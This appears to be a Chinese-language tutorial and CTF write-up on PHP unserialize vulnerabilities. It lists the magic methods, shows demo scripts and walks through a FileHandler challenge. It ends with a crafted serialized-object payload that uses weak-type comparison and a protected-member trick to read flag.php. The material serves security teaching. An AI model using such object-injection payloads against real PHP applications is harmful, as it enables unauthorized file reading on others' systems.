serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html
__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
unserialize2.php
<?php
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
flag.php
<?php
$flag='flag{flag_is_here}';
?>
serialize
:
unserialize
:
演示:
1、可用发现登录按钮无法使用,只是一个摆设。
2、查看网页源代码,发现有一个href="admin.css"
的可疑信息:
3、点进去查看,发现提示:
4、在url后面加上?23727
,发现有反馈。
5、分析代码,可以得出:要想得到flag的值,要让COOKIE的值与KEY的值相等。同时还要满足一个条件:URL上不能够出现23727
这个参数,否则执行的是显示源文件的信息,而不是flag的值。
6、抓包,并添加Cookie
。
7、获得flag的值。
1、在URL后面添上?hint
可以查看到代码。
2、比较COOKIE的值与KEY的值是否相等时,存在一个陷阱。
3、使用KEY为空的值,进行反序列化。
4、获得flag。
unserialize3.php
<?php
class ABC{
public $test;
function __construct(){
$test = 1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快死了<br>';
1、进入环境:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
2、分析代码:
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
include("flag.php");
highlight_file(__FILE__);
// - 第一:获取 flag 存储 flag.php
// - 第二:两个魔术方法__destruct __construct
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
// - 第三:传输 str 参数数据后触发 destruct(反序列化之后,相当于添加了一个对象(但是不会触发construct方法,因为是反序列化得来的)。但是会在最后触发destruct方法),存在 is_valid 过滤(如果OP===2,赋值为1;否则就将content赋值为空,调用process方法)
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
// - 第四:__destruct 中会调用 process,其中 op=1 就写入, op=2 就调用读取方法并且赋值给res,再打印res(output()为打印),否则就输出坏黑客。
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
// 写入(OP=1写入)
// ---如果filename和content都存在,并且content的长度小于100,就将content写入filename,并且输出成功。否则输出失败。
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
// #读取(OP=2读取)
// ---如果filename存在,就读取文件。并且打印读取的内容。
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
// - 第五:涉及对象 FileHandler,变量 op 及 filename,content,进行构造输出。
原理解析(涉及:反序列化魔术方法调用,弱类型绕过,ascii 绕过)
__destruct
函数(析构函数)。__destruct
函数对$this->op
进行了===
判断并内容在 2 字符串时会赋值为 1(但是process 函数中使用==
对$this->op
进行判断(为 2 的情况下才能读取内容))2
或字符串' 2'
绕过判断。is_valid
函数还对序列化字符串进行了校验,因为成员被 protected 修饰,因此序列化字符串中会出现 ascii 为 0 的字符。经过测试,在 PHP7.2+的环境中,使用 public 修饰成员并序列化,反序列化后成员也会被 public 覆盖修饰。总结:
destruct
方法(强类型对比)’ 2’
和‘2’
对比是一致的3、分析并构造payload:(protected
会在前后加上 %00
)
?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
protected
:4、运行。
5、查看网页源代码,获得flag。